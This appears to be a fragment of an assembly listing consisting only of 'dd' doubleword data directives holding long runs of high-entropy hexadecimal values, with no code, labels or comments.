		dd 6A2C097Ch, 14FE1B46h, 7ADB6369h, 0E4BA9CC8h,	30722A22h
		dd 0A4C1D58Bh, 89EE1BBFh, 0D664C3B3h, 0D8D65766h, 0D055DA21h
		dd 0CD35D5E4h, 7DC72E38h, 48DE8464h, 85A67294h,	0A2C7BD3Dh
		dd 312E8832h, 0C2F09FD5h, 0EAB39BA2h, 99A64A7Dh, 0BB8FC0B2h
		dd 0DB4D849h, 0F1D328A9h, 1ADC41BDh, 42AED373h,	8AADFD08h
		dd 45787781h, 19488D1Fh, 0DA9BD1B0h, 89CD3C92h,	3755BDDCh
		dd 2B25318Ah, 1852FF79h, 0E6991E0Eh, 2D1EF4BAh,	0FA9F0159h
		dd 203B52Ah, 47A1CB0Bh,	961EEE79h, 0E8F54361h, 0D1C73AAAh
		dd 0F4DEE384h, 8FF01ED7h, 5A004FF5h, 0F8C4E73Dh, 0F26E7AA0h
		dd 1E9D8DA4h, 563D336Fh, 10D71A2Dh, 4AF189F6h, 0CB927EC9h
		dd 452EFF8Ah, 329A4F1Dh, 4A7EC14Eh, 0B546724h, 0C1A9A601h
		dd 0FD26F1A4h, 5CC2C039h
		dd 0C999AE49h, 0A0C92273h, 96FFE04Ch, 7EDE86E3h, 0B61A0ABEh
		dd 2EF34EA1h, 133C7524h, 71F64950h, 9B5810FCh, 42B1A48Dh
		dd 7582F265h, 0A5A79C98h, 93546D16h, 0DDCCF3EEh, 0E61B16D4h
		dd 1A7F8454h, 6E92EA7Dh, 0D2CAF71Ch, 40D49587h,	4DD0C2B2h
		dd 694DDC23h, 0F566C08Fh, 79972610h, 6B4B9AC0h,	0BB89DBB8h
		dd 36CDF15Fh, 76D22D91h, 7FA5AAC7h, 0FC87E1E4h,	0AE1E2B60h
		dd 0BC6A21D2h, 9386E183h, 0B0A0D9E2h, 9056712Eh, 0F56F7080h
		dd 0E5250F73h, 0DCAF7E39h, 9B3E3892h, 0A07B96A9h, 7A9CDFA2h
		dd 82ECA37Eh, 0A2C1358Ah, 3F7D1734h, 0C48AF24Ah, 299D97F0h
		dd 5D227D42h, 20F4C0AFh, 0BABCFE77h, 0DE159400h, 0D9A19A8h
		dd 0A8CFD208h, 610A4F39h, 23D34C3Ah, 0A66809E1h, 39A2AF90h
		dd 8FBF018Ah, 10B4F777h, 0B3638D5Dh, 0D88743CCh, 85FFEC4Eh
		dd 855E5D47h, 13118ABCh, 0B9D3A992h, 812F4D47h,	313F2B44h
		dd 1181DF9Dh, 0F28892E5h, 0ED90B192h, 2907E552h, 55C470BAh
		dd 76FF53D9h, 135BBA2Bh, 1F698FF9h, 4D07C560h, 0D27E453Dh
		dd 0EC241799h, 0EF9B173Dh, 660355ABh, 7FA709EFh, 20C7DA34h
		dd 0FFF4CF81h, 6E376222h, 0A05F9B4Bh, 7467C8ACh, 919E9D78h
		dd 79E41421h, 22C10136h, 8B1E8BF2h, 9EC76FD5h, 29A2C55Ah
		dd 0B3DA0227h, 0C70383B0h, 95E5D740h, 0FA6CBB01h, 31923A4Eh
		dd 0D7A7D63h, 0BB2B1873h, 61623662h, 6138CCEFh,	87B38A42h
		dd 4E2FE0D5h, 9A8E3390h, 0BB02AF3Eh, 0FCF62884h, 8910229Dh
		dd 0BD72FEEh, 4441FEBFh, 96E7D9A5h, 3C64C756h, 8E0A0EF3h
		dd 903B7274h, 0C3CB011Bh, 347D70EAh, 1FC7A687h,	375FD69Ch
		dd 0CC61F3BBh, 0F8586624h, 146E50CEh, 4AAAE655h, 0F30994D2h
		dd 722DCACAh, 8ACC0D0Dh, 4E32E1BAh, 4C46F35Ah, 87F7847Fh
		dd 0A4EBBB3Dh, 0BA396B85h, 0AF5237DBh, 6FFDADB9h, 4C085687h
		dd 9216EFB0h, 750B4265h, 9D824A64h, 8C3CCBD7h, 45E90DFAh
		dd 0E032CA53h, 0C1057ACDh, 88BB68DFh, 0DBEB3284h, 0A6157F20h
		dd 0DE0E260Bh, 96D07B4Ah, 7865E160h, 0A2B4DA65h, 70F589AFh
		dd 0D1669AA5h, 477E1665h, 0A599B601h, 0B2C797F1h, 40D77706h
		dd 0D65A0564h, 3AC7F7Ah, 0EAA2EFDBh, 0B23A2B2Eh, 73A64921h
		dd 0E8CECCAAh, 92177639h, 54E89879h, 31BD7372h,	6190CE5Ch
		dd 0EAA0B52Fh, 57E3E5FEh, 69FB2D8Bh, 33B8FF4Ah,	0F81E34ACh
		dd 2C4D4C28h, 0A72FC30Bh, 1C1E34B1h, 0D2E953A5h, 84DD4DEAh
		dd 5B67D5EDh, 717B80D6h, 0D642B0Eh, 8AC096FFh, 0FC660635h
		dd 0F21B1E06h, 555B7686h, 0B948D86Fh, 29161BA2h, 0BD99906Bh
		dd 446DD943h, 29D2AB9Bh, 7D3183D1h, 94B9C727h, 0D5B0D84Fh
		dd 0F85A5987h, 4D094E12h, 0D7666A19h, 981DBABh,	0A116ECF8h
		dd 0A6F79F03h, 0A6493608h, 0B4D128BDh, 5E622588h, 0F4B2E209h
		dd 0BF0E9C54h, 0AB85FF62h, 343DE2C4h, 8424F27Bh, 0D6A96B3Dh
		dd 7DE89E5Ch, 91BA6E83h, 0D0C9143Dh, 0C6F32299h, 22AB447Bh
		dd 2501C4F6h, 434B06FAh, 0D257E132h, 90995309h,	9F8660AEh
		dd 804778B4h, 1501FC47h, 5457887Ch, 60EE69A8h, 0A3A2233Dh
		dd 0DAEE0D03h, 0EF2873E3h, 93B99DC0h, 0A29BFFC2h, 0CCEED9F7h
		dd 0C03DDFC2h, 0F8ABB48Fh, 0E0C81F76h, 6CAE5728h, 51C5383Ch
		dd 0EE5386AFh, 686BC5F8h, 3D6AB8FEh, 0D28E3A7Ah, 8CB01439h
		dd 0FE6893F5h, 4D2503B0h, 76C9A704h, 6F49E0F5h,	0A812ED04h
		dd 0CFD00BFAh, 0ADD12DE9h, 0F6CEC5FFh, 0C879B4CCh, 822336E7h
		dd 0C90074BDh, 97E4F5BEh, 4F479103h, 329C3509h,	0AC0FCC99h
		dd 0EB3BDFB1h, 60D59F39h, 7054B032h, 9055DBD5h,	7A9AC3CFh
		dd 0C07B27CBh, 0B1A5CD74h, 0C9246A82h, 67B5703Ah, 8694A87Ch
		dd 3CA3805Ch, 286E4492h, 0C3395019h, 3223A1B3h,	0F49DB9B8h
		dd 7BAA9C6Dh, 0E667FDADh, 7DDF3A51h, 0A4FB3CD9h, 0D1BCF85Fh
		dd 0EED4198Ch, 0F88EB4EFh, 8B940560h, 0CD8D8C85h, 0BEBFC1B2h
		dd 1D6C71C6h, 4B811444h, 0B8F6918Eh, 0C49C9053h, 0FD0E8DD6h
		dd 0E8FC0B91h, 746F458Fh, 64E04942h, 538770A8h,	0F0112572h
		dd 23982AB3h, 73249D8Bh, 0EDEE04A3h, 0B96957F3h, 0F51F3D14h
		dd 210E6572h, 72065068h, 23BC72A3h, 7F5C956Dh, 847D963Bh
		dd 0F0A6FF5Fh, 30A73594h, 5A7CB0DEh, 0EA92909h,	342B43C2h
		dd 7B042E8Ah, 0BBA48A80h, 2DC44E7Fh, 443B7BDh, 77127650h
		dd 0E6529538h, 883BD42Ah, 0A96DE7FFh, 7A4017A7h, 1C3AFEACh
		dd 451DD2F1h, 282256E5h, 0FD20CF9Fh, 0B0A9CE23h, 39D8F571h
		dd 3D4DB8B7h, 3A700102h, 531D22F5h, 0F9B575C5h,	99045ECDh
		dd 77A351F8h, 22006F54h, 7B5ECDE9h, 4C39400Fh, 0FF813A98h
		dd 4570463Fh, 0AEADC9D4h, 734288BDh, 0DD80A7E6h, 7E4788Dh
		dd 2A296786h, 30CC5E81h, 5AE8F832h, 0E979BE9Fh,	0D8D34C07h
		dd 8CFD4C7Bh, 0A26385EAh, 0FEF84832h, 357A05C7h, 0F274411Dh
		dd 11F5A576h, 3CA85E6Ah, 2CBA5255h, 9DF7B259h, 64E1192Eh
		dd 5CCCCC82h, 29D30C6Bh, 0E86AE415h, 8610541Dh,	923D584Eh
		dd 0C6847323h, 5306DC34h, 0F34209A0h, 78643FC0h, 1F18DAB1h
		dd 0EAED417Bh, 36167DB6h, 18C25044h, 97C70881h,	0C9FAA1F4h
		dd 12F4B016h, 6B651735h, 0D1C9DE10h, 512D7BA2h,	4A675E2Ah
		dd 0A5AF9252h, 0A6D0D15Dh, 0A4F38893h, 0A278F4F8h, 3AC6D431h
		dd 0C614DA53h, 9C81DCD6h, 0D44B6307h, 0BF3A6D5Ah, 58F7C948h
		dd 2DCFE62Dh, 37A01F6Bh, 3002BA0Dh, 824B4B8Bh, 0EF3FC648h
		dd 8BFF50E9h, 5FC90490h, 0BD4DE926h, 85C4D104h,	0E14F7489h
		dd 3C2A4B5Bh, 0C97A85C6h, 7E9F420Ch, 0BE500E30h, 955EC55Ch
		dd 0F32BF488h, 4D5D398Fh, 922DF1C6h, 0B21619Fh,	0D6EC59F3h
		dd 985BD9B5h, 3BEC0D74h, 0D3DA93C0h, 6CDF85C8h,	0ADDC2EB2h
		dd 0A263682Eh, 0C98630BCh, 0F83638DFh, 19C965CAh, 127D434h
		dd 51D193CDh, 2FE227CBh, 4E80649Bh, 5B720h, 97F0B2FBh
		dd 0D4BCC17h, 86321B78h, 0CA0EFF25h, 2971B04Eh,	3AD49528h
		dd 0B84B8062h, 60452A3Dh, 6E75C1B1h, 7A42FDA7h,	6F70B970h
		dd 1CA0BBCBh, 331D0C20h, 0C82F71B7h, 18A112E1h,	0EC2DB46h
		dd 42059961h, 929DFDh, 56C13047h, 78592105h, 1301E24Eh
		dd 4C581EE0h, 0B3CB8DFEh, 460716C9h, 0CB6BA5Ch,	71F97DD4h
		dd 0C681A4D8h, 0A7A7B012h, 2BCE2E3Ah, 554788E2h, 2F109749h
		dd 0F8C66AFCh, 5035849Bh, 2B71ADD8h, 641145C9h,	0CC2847E0h
		dd 226246F8h, 0BA572EAh, 0CD579923h, 22C3988Eh,	56AD0A7Bh
		dd 350D02C3h, 9B0665B9h, 380AEBD6h, 930281Bh, 0CD2ADD6Bh
		dd 19AB2E03h, 0DC97D08Ah, 48DB1CD1h, 9F90054Dh,	32D517A6h
		dd 0BF0E6BD7h, 0F63D3B3h, 230C334Eh, 2013157Eh,	94599BE6h
		dd 32A3D8BDh, 7ABB564Bh, 0E3E16C3Fh, 0B1F089F7h, 87935B85h
		dd 0D48A3653h, 13726443h, 3D6DB991h, 7822F5E9h,	8735C338h
		dd 781542FAh, 0B1CBAEC0h, 18E2E776h, 58D68A23h,	0C9C44CE0h
		dd 0F1BD81A7h, 72BA5375h, 50137B16h, 68029C53h,	0EED414D2h
		dd 1EEED286h, 0D55FC4A1h, 54E5E9D2h, 0D8B1A450h, 0B9AFC989h
		dd 37FFEA4Dh, 0FDFEE2DEh, 8A59920Ah, 75A73491h,	9025CC0Eh
		dd 8E5A7FA4h, 67288B71h, 6A76729Eh, 12000040h, 7D2DC1FEh
		dd 0A6C32D3Fh, 8E8F2217h, 0C2F5A904h, 26507DCCh, 7387C67Ch
		dd 0E3D579C6h, 88D94D4Fh, 3E05F09Fh, 71959DA7h,	0C0013784h
		dd 1B5BF708h, 0D0F4A945h, 9CE4E243h, 0B8FD7C91h, 0E49E28F8h
		dd 292EBA45h, 66EA6939h
		dd 9396BEC4h, 1A39ED6Fh, 0AA49FA49h, 40F29BA2h,	0D149AD59h
		dd 9F1CC1h, 15DFAE1Ah, 0A87E78A1h, 2D2E57E3h, 0D67EEF12h
		dd 34B1D13h, 31AAA7B1h,	25C26FF9h, 1295FFF6h, 7465008h
		dd 0D4FD8B5h, 4C5E31E1h, 4087CF89h, 1A14BDB6h, 4D947A85h
		dd 0F13D80A2h, 795B9A9Eh, 255EA1FFh, 36B1C83Dh,	6274F004h
		dd 37D0A61Ch, 299FA6E4h, 9300CD35h, 3E213A07h, 377B16BAh
		dd 610E69FEh, 0A76B35B0h, 0E5870914h, 30B5629Dh, 540EE62Fh
		dd 0A3046905h, 0ED1D8F37h, 3D43006Eh, 5D8707D0h, 8E729D55h
		dd 7FF7E618h, 6C8A337Eh, 11039F07h, 0B3AACD04h,	7A3DE8D5h
		dd 55C7851Ah, 2D9A5058h, 5268E946h, 0A17492F9h,	6BAD7A77h
		dd 692C1520h, 0A646DD23h, 69855854h, 0A5CB910Dh, 0CF703775h
		dd 0D15ABFEDh, 8C362FEBh, 73923143h, 1F6FAE75h,	2B1A5DF8h
		dd 0C489DBA5h, 9F545DBAh, 91DC569h, 0D131FE22h,	609E11C8h
		dd 0FF6A924Ah, 0AB5E63A3h, 349DD27Eh, 9218983Fh, 0C5116B3Eh
		dd 3125D825h, 497BC5E6h, 0FF1E2693h, 3C28340Bh,	2BBA835h
		dd 0D830E131h, 6BE0D51Ch, 96695EC9h, 92CFBEBFh,	197C0446h
		dd 0CEFEF033h, 0BA635D1Ah, 0DD1A089Ah, 1F3E74A5h, 1D4206C6h
		dd 0AAE4116Eh, 4E8E274Ah, 0ED34A0B9h, 3F564389h, 0CCFB6074h
		dd 0A2CD94ABh, 190B8C26h, 2CDDCAB4h, 0BDB744D7h, 0CB65D592h
		dd 0F4C2AE18h, 837E7037h, 96E630C0h, 14860310h,	5045DD25h
		dd 549B31C7h, 20F7FA0Ah, 5597371Fh, 178BDC74h, 5AF51AF4h
		dd 0A9016834h, 4E90C52Ah, 0CA7CFAD2h, 3DBFC9D6h, 226E0CD2h
		dd 92A4112Fh, 9EB561C3h, 0BC119768h, 0D71324E5h, 0F43A140Eh
		dd 26898179h, 838D719Ch, 4D7E9462h, 0DDE49E01h,	9D0EBB5Ah
		dd 0C3A36912h, 0AA4F84A9h, 1E5AE2B4h, 8136C68Eh, 0E3A9B6Ch
		dd 0E506B155h, 89B3204Fh, 4FE0341Dh, 97B10FE6h,	0A9F054DBh
		dd 0F36C1F8Ch, 0EF054CCAh, 0EF7BE29Dh, 266B82A1h, 45F3C510h
		dd 0F3D0C61Eh, 0E70B09EDh, 0DA60FACFh, 341617DCh, 3B4DBCCBh
		dd 92B4A8E8h, 0BD43E393h, 85246B2Eh, 0B567618Dh, 72D2EED1h
		dd 7146685Ch, 0E3DF6532h, 0A7438C2h, 40E61640h,	0EDB12339h
		dd 977721BFh, 6A5BFEB3h, 0E7E727D0h, 7DCC1241h,	5E92691Ch
		dd 7A4F980Ah, 4123EF12h, 898FB920h, 2223AF1h, 0A01431FBh
		dd 3766047h, 0EA102004h, 4BCE97D1h, 9E5E351Ah, 645EE305h
		dd 0F7FA098Dh, 0FB579ED0h, 29A0471h, 4DCF39B1h,	71F1A5Fh
		dd 12A5D891h, 25F4EF78h, 8D3C4001h, 9049B7E3h, 0D181A3E2h
		dd 8752C4A6h, 0EAF9D868h, 65816A0Ah, 0A28453DEh, 87E6BA13h
		dd 3093DFA6h, 49F6D1DBh, 0BC67DACCh, 18400965h,	0F85F9887h
		dd 9874338Eh, 7F88EE4Fh, 0E7B4EB50h, 89D17828h,	73F83365h
		dd 0FEBB92C1h, 92527525h, 42D28CE7h, 6C118493h,	0CBA6B78Bh
		dd 8169D317h, 0D7DF9C9Bh, 0F729C53h, 20EC4A75h,	0F7B6BA5Ch
		dd 0F7C7C8F3h, 3E98721Ah, 0D9F6F993h, 0A70F5999h, 0CDE5C990h
		dd 0B1553387h, 5ACBE78h, 9C1691D4h, 0B863C9E0h,	50A3E612h
		dd 10FC5F5Ah, 0F87A231Dh, 2A1229F8h, 2F465E98h,	0B2D6F284h
		dd 66EE6785h, 0BDDE3EA2h, 24084576h, 7C7241EAh,	34269CDAh
		dd 21B1E84Fh, 135BD265h, 687ED76Bh, 0CC4E5C43h,	9ABE987Ah
		dd 0A9ADFC8Fh, 71AB6D24h, 0ED079EB7h, 0A12BFE43h, 9961844Ah
		dd 0C6B0C9A2h, 5A4FF190h, 0D7859EA2h, 0DCB3A514h, 374C11C8h
		dd 13E83A59h, 6B6BF368h, 0E021B49Dh, 0E6565F61h, 7AC89C8Dh
		dd 723FFE22h, 61E07F8Ah, 0A60E4237h, 8FF05D0Ah,	0DD7D636Fh
		dd 8FBD370Bh, 0B686CDFCh, 0FEA33779h, 3B3DBCAEh, 4DF808BFh
		dd 65DCC877h, 2EC62D95h, 0A88C06F4h, 5D16D511h,	660AC351h
		dd 86873E7Ah, 0B6E7ED05h, 8C274CDDh, 8C3B5AFEh,	0B3344B7Ah
		dd 5E47C76Ah, 0FEC90626h, 0F5CC4D5Ch, 9501304Eh, 410C7393h
		dd 537A4ED6h, 135E0B4Ch, 0EDD290Bh, 0C76C935Ch,	0BC6B5A23h
		dd 777F4D8Ah, 0DA817A8Ch, 4D2F1189h, 0AC0A87B2h, 0BF6905C3h
		dd 0FB9402BCh, 7B0459D8h, 0E47ABF93h, 107FF2EAh, 6B543240h
		dd 0F5A4FE0Ah, 137460CBh, 71D6317Eh, 845A46A5h,	0E2362EC1h
		dd 3AB365D8h, 0C5FB038Dh, 33C07325h, 0A988699Fh, 46EC18FAh
		dd 0E4EF176Ah, 4BC55E74h, 82C9ABF7h, 68912040h,	0B456ABD6h
		dd 5EB9EDB4h, 0D8C7F50Ch, 0FE6794F4h, 0E86F1D17h, 1C053382h
		dd 5FDCB842h, 528C627Eh, 24DBEF26h, 79042922h, 0BAC21D71h
		dd 0EDD6DF5Fh, 89FACEA5h, 92A51D15h, 3E77EDC7h,	1CCBB122h
		dd 30039B78h, 4795A3A2h, 0B5DEAB77h, 0B1031698h, 0A94ABBE0h
		dd 7C999238h, 0AF708BAh, 242409Ch, 224DCA7Bh, 7621CACBh
		dd 27B848D2h, 0B88733D0h, 8B8501F5h, 0E871F1BBh, 0EEFC9016h
		dd 2552BF31h, 25899915h, 66661463h, 71CCC81Eh, 0A14B803Eh
		dd 0F4F344B0h, 0C5DCA54Eh, 89D530B7h, 18B62AE4h, 854D30F4h
		dd 66D10652h, 0D13CC504h, 1F480F42h, 0A9301783h, 3126ACD0h
		dd 33398B1Dh, 0F8937489h, 9097AFF2h, 47E434A8h,	305274F1h
		dd 0BA892DBh, 999CE43Ah, 76C6AB75h, 2FFE25D8h, 662256E9h
		dd 0F4C74C3h, 29B6B1CCh, 3C56122Fh, 0B99DB337h,	7611DADEh
		dd 0E7F48015h, 0AE3BC7FCh, 0B2C49A95h, 0F0681A2h, 0E13E83C6h
		dd 0E65F90EDh, 4A0C293Dh, 5C035C96h, 0AA985B1Fh, 0D4433C23h
		dd 5CA24052h, 955EE51h,	0CEAEADE3h, 3689DEEEh, 0F642F97Eh
		dd 10484CFFh, 7A710964h, 8B8D5D88h, 0EDD2D8F1h,	20295EA9h
		dd 0EDF40C41h, 9BC0E32Eh, 0F6D54742h, 9D8226BFh, 1349ED55h
		dd 0E6D83011h, 0C52DD3B6h, 0F90E5E00h, 0EA06F255h, 484E03ADh
		dd 3918A1C5h, 91BD0C18h, 22DF9EE4h, 0D93252Fh, 34662FCAh
		dd 9591A156h, 1454CF89h, 0E2EC3914h, 0DF8DE92Bh, 4F38604Ah
		dd 61263967h, 1A6A19E0h, 3CC33C46h, 0A0959846h,	4F47DF91h
		dd 0F0E2190Ch, 929B8B96h, 0DDB18ED4h, 0CD51A569h, 71171F65h
		dd 0AB16A35Ah, 83F94D5Fh, 20BA5601h, 0B0E6B9C0h, 5C4FAF08h
		dd 24796EE8h, 0E3DD95B5h, 0E2608Bh, 0F70AC2E3h,	9662E3DCh
		dd 2027486Bh, 20F264CAh, 0E70D63CEh, 0AF11BE85h, 609441Dh
		dd 7A128E18h, 74914763h, 0B9DDF7D7h, 4CB817F1h,	137D0C1Eh
		dd 16E1A425h, 8340AE7Fh, 8B34362Fh, 58D402A0h, 76944249h
		dd 0D64198B6h, 9E5C2C49h, 4284A5D0h, 0CA14903Fh, 726A9D68h
		dd 9C98B776h, 0DEED843Ch, 24F199FCh, 9FDC5101h,	0BF2844EBh
		dd 0FBA46EC3h, 6FE36F1h, 9984B381h, 65F7150Eh, 17C489C4h
		dd 2745CCA8h, 0CF310F74h, 0E28DE4CEh, 457E5EB9h, 120E2FCDh
		dd 886D6FA0h, 0B48F5021h, 7D5B302Ah, 0DA9738C5h, 97F75601h
		dd 0FAE34ADEh, 0F01DAD57h, 738C42CCh, 1543EDE7h, 0FA3AF2E0h
		dd 0DD822E31h, 89FAA398h, 22EA2854h, 4D486D13h,	809C7FD8h
		dd 17E0511Ah, 0D9AB3BA7h, 5B8A45EEh, 35DDC62Ah,	597A233Ah
		dd 0F166B773h, 0A1C68F78h, 0DA7CBC04h, 1862092Bh, 0E3660E98h
		dd 1920675Dh, 275E82E5h, 4083A6EAh, 86C89685h, 3462EEB8h
		dd 0C02A119Bh, 556F877Ah, 0CF006EA3h, 8E9E1CD4h, 2581E708h
		dd 4D7E5861h, 678DFDC6h, 96962138h, 3DB88B08h, 0C4B6F466h
		dd 3F882302h, 616255DFh, 2C4B0AB4h, 86BB2AE9h, 0BB131C9Ah
		dd 0E31B9DC8h, 0DC06F7Ah, 0ABFD7289h, 20230903h, 0B606C481h
		dd 1C8EBDA7h, 0A5E8B506h, 0F1F87F30h, 94FAFB02h, 31C3B95Bh
		dd 86753FDBh, 0DB310F34h, 4B93E42Fh, 38A6BEE6h,	8F66075Ah
		dd 5A3DE4C3h, 9BF17572h
		dd 0C5716CE1h, 0DF29BA90h, 47FDD1B1h, 9B3DEBBDh, 14904037h
		dd 4EB3D145h, 627C665Bh, 3BE69BAEh, 284B73E7h, 643C7583h
		dd 5998FFDFh, 843EAFE7h, 3414D972h, 0F9F47EE1h,	40F42A7Eh
		dd 82CF3808h, 9A0CC798h, 33DC50A7h, 0C9F8FB1h, 6A3D5B39h
		dd 4362AAFh, 0A1FD0C72h, 0A5549BF7h, 8670CAC1h,	37E8AB4h
		dd 2ECBA424h, 4A792A87h, 0D7006CB1h, 0AE273F73h, 76535D12h
		dd 0B49F0DE8h, 0BFAF7F18h, 3FCD1360h, 0F63F9DB5h, 284D3E49h
		dd 0C8444FE9h, 0AD07420Eh, 646DFC08h, 0EB729BFEh, 0D0E247A6h
		dd 8CD3FE45h, 0BA76FF7h, 0F20021D6h, 0BD538B4Dh, 0F48A5423h
		dd 91457013h, 8E0B214Ah, 0BE696C09h, 7356B16Fh,	0B34B86E6h
		dd 44E6371Bh, 5B85F95h,	0F63D08EAh, 0FF7B681Dh,	0C1FDD685h
		dd 0D90CA3A4h, 0B4A8E3F4h, 42FD6CC7h, 51399293h, 0BAD034C9h
		dd 657CD72Bh, 3EA7FD1Dh, 0E582CE1Eh, 1EFB4030h,	61DDDC90h
		dd 1F0F1052h, 0ECE46824h, 0D91AF692h, 41DEBC44h, 3ACDAEDDh
		dd 0FB3DCB7Dh, 0F025D8CCh, 1DD3FA2Eh, 29B4855h,	0D19EFA37h
		dd 4DC3BD3Eh, 72478256h, 9C4CD36Fh, 2EA237CFh, 0EEB000A0h
		dd 0C4001146h, 40C1BC59h, 5453D810h, 6717367Eh,	0D46AA194h
		dd 730D5A9h, 9FD369CCh,	2C9A1024h, 93BD2339h, 0FA153982h
		dd 25E76916h, 70F0C341h, 9F21BC0Ch, 78A97E18h, 83A292Fh
		dd 772B7129h, 0FA802879h, 0EC4F02E9h, 0A1EDA7B1h, 8FBE8F21h
		dd 0C9455E07h, 0FAAF0F1h, 0A0823546h, 2145B5D7h, 0A4F8472Fh
		dd 1946FF6Ah, 416CDF11h, 0E648A2DBh, 0D1E4A4B6h, 0ED8BF5E4h
		dd 10F2252h, 989AD786h,	0C0941990h, 0D68D8924h,	0C204C451h
		dd 92F70FB1h, 5254A80h,	0A58FAC96h, 9C800834h, 6481888Dh
		dd 0C211535Bh, 0BDD1F6D0h, 9D15EE2Eh, 0EE8433EFh, 0F5EC6956h
		dd 0B2078DF1h, 0B060E940h, 0C6F9CCC6h, 8D122C3Eh, 20917091h
		dd 0CFD2985Fh, 64A67D4Ch, 80D25C50h, 46A8FD43h,	7C56A3FEh
		dd 3BCCF5FAh, 0EE5F14D7h, 4A59FC45h, 698BA387h,	8AE9ED87h
		dd 0FF5FB351h, 2578EBC8h, 9EBBA5B0h, 0DEECC743h, 9DAB980Bh
		dd 8850932Fh, 749A934Ch, 0F23B6F60h, 0AD93E0C6h, 0AB2B8FA7h
		dd 5B6FC665h, 0B4E797F3h, 19ACFD3Ch, 0A902E189h, 78A8B457h
		dd 7D0B5EEAh, 2486C630h, 8F1169DCh, 0AC359E9Eh,	6C401058h
		dd 4F7AB96Bh, 9A2497A9h, 808D722Dh, 6FECF1F2h, 5C0CA0DAh
		dd 5A18FE10h, 40369A4Ch, 37BB2A4Eh, 832A5D2h, 32F67D48h
		dd 69441FC9h, 0BDD1E857h, 455A7F7Fh, 0E1B0EA78h, 21B62CF5h
		dd 5E8D7BC2h, 35CD4666h, 0EC62486Bh, 0ACA83E4Ch, 0D0FE637Bh
		dd 40BDF362h, 0EA720F9Bh, 0B204CDDEh, 0E133A61Dh, 31DA7CCCh
		dd 0DD70832Bh, 2378FAE7h, 334CAB3Eh, 0C6175B0Ch, 9CFCE78Fh
		dd 0C2FAC31Ch, 2218126h, 80E9920Ah, 11A0ABECh, 1E0DAB09h
		dd 361C605Dh, 3A9CF0E6h, 72D773B7h, 95A39C95h, 0B84F733Dh
		dd 18E414E0h, 0B82356CBh, 84B72236h, 21D3DB21h,	0AA8EEFD4h
		dd 0C412E058h, 90169D41h, 0BBB41363h, 0E7705D3Ch, 5BD948A1h
		dd 0A7311456h, 70DA966h, 0E88FA300h, 0F0C8B56Bh, 33A61C30h
		dd 4139CB98h, 0D5F9C07h, 6211759Eh, 68C12EC8h, 6A33B9B7h
		dd 2BCD413Fh, 9A30251h,	0E4D23EABh, 0D1CDA4DBh,	2EC0152Ch
		dd 5864D064h, 68D1FA2h,	0E6E7BE88h, 32CD3414h, 7BDC1ABBh
		dd 67669408h, 9866A10Ah, 0B97AC605h, 72E45FC9h,	865712D6h
		dd 0CA40B350h, 0CA945530h, 3DCE8539h, 0D98FFEEEh, 9250DCFDh
		dd 8F92E650h, 53EEA851h, 0C4405144h, 0C9C81EC1h, 4F8A35ACh
		dd 749EA811h, 0B8E6909Eh, 826BABD9h, 0B82487F9h, 0ABC287C5h
		dd 753FB289h, 0CE773F28h, 97EBA55Dh, 9A64307Bh,	1BA0EB52h
		dd 0CAC28135h, 5337B73Ah, 0E51D73E0h, 338DBC38h, 0DA817D8Ch
		dd 0A68B0801h, 0EEBA2462h, 50FC3C74h, 0AE4655C6h, 64AAE9DDh
		dd 5E433CFCh, 1AB041E1h, 56B0D015h, 72B6A210h, 5914F501h
		dd 6A3F7C36h, 0F6E9C684h, 0C726D519h, 0B545BEA2h, 0CFBAC446h
		dd 438061C8h, 0E6AB0CE4h, 27A40D2Fh, 0C900CD59h, 5C2D4CADh
		dd 85506B6Fh, 0C5C85059h, 0F929AE92h, 27C6EB94h, 5BFA029Ch
		dd 7A7D1C62h, 50B64FE3h, 0EFB41658h, 3BA1E253h,	13F136DAh
		dd 0B1CF2274h, 8B03CF9Dh, 700418A2h, 2E6ED111h,	0ED55E645h
		dd 0E2523F18h, 2CF6005Eh, 0B739E174h, 0BC9BD195h, 4B657A97h
		dd 16D32127h, 0A305F26Eh, 25687F38h, 0BA5B2A70h, 705FECB5h
		dd 850252EEh, 141147D0h, 0D3D1CD99h, 3B0F01F1h,	0E04B6B1h
		dd 2E74129Dh, 0D3097E41h, 0A727DCC0h, 67809DCCh, 0C410717Ch
		dd 460EEAF4h, 0AD98A470h, 0FFAC6CFDh, 0A9030BEAh, 1338BABEh
		dd 635236Ah, 1B761B30h,	0F1A786E5h, 213DED62h, 134CEF28h
		dd 0EECBCC86h, 0BA08F401h, 76BE0F1Ah, 89ED1EF4h, 0D7522E68h
		dd 7BE0B478h, 44E9F98Fh, 0A803D541h, 51BD2584h,	0E5CE69FFh
		dd 77DDA199h, 2C7DDB0Dh, 8C76281Bh, 311D2AFh, 4EE61A49h
		dd 0FF18F181h, 2E625AC4h, 76E35EE1h, 0A1752B2Eh, 1A8DEBF4h
		dd 278DEFFh, 3CF01550h,	0FF77A25Dh, 9543A533h, 0A6735B5Eh
		dd 9455F2C9h, 0E4CF07B7h, 5F9FA43Fh, 4BE0BB4Ah,	790C3987h
		dd 3485F75h, 79108CE0h,	15EF6D61h, 76FD5C28h, 4AD9B499h
		dd 0E145ECh, 0F688860Ch, 0C59EB132h, 0F9C8EFE3h, 96C6942Eh
		dd 5AA967FAh, 339E3958h, 60290B32h, 2A6FAD39h, 0FEE5087Dh
		dd 5E7C1126h, 93A62D24h, 0E673D4D8h, 7C0178CEh,	7E1AFD45h
		dd 38DFAA80h, 4B547D53h, 1B4AA342h, 220967CBh, 4E6BA33Bh
		dd 98A3C982h, 35787AFEh, 58C8D2E4h, 0FA1E3299h,	782C79E3h
		dd 0DE78E5E5h, 0E6C68A88h, 0CA33FF7Bh, 12A3D1Fh, 14B56542h
		dd 0C17D5A1h, 0DE04AC35h, 8082225Ch, 6F0AEC9Ah,	742F387Fh
		dd 0FB775225h, 0DB05FE4h, 0E5A49F4h, 7C4B99EFh,	0E888A283h
		dd 3A78FF02h, 0B24251F9h, 0A8953AFCh, 0F4532F69h, 0B4197433h
		dd 0E04A286Fh, 4C4EBC1Ah, 82AE4D90h, 0ADD1149Bh, 16F5D67Dh
		dd 0FCF34CA7h, 0E6ADCC34h, 5A77D8D7h, 9A07B51Bh, 0FF82733Ah
		dd 13D141FDh, 92B76527h, 72484835h, 0E411896Ch,	0B91956A1h
		dd 0B128DD2Eh, 9155F75Eh, 81E94C8Ah, 92206900h,	0B830DFEBh
		dd 9CB2DDCDh, 141B8461h, 0E9560810h, 87A413Bh, 1CEC123Dh
		dd 0BA65696Fh, 5C5EDC43h, 9D903C79h, 80B7E83Dh,	2DD999BFh
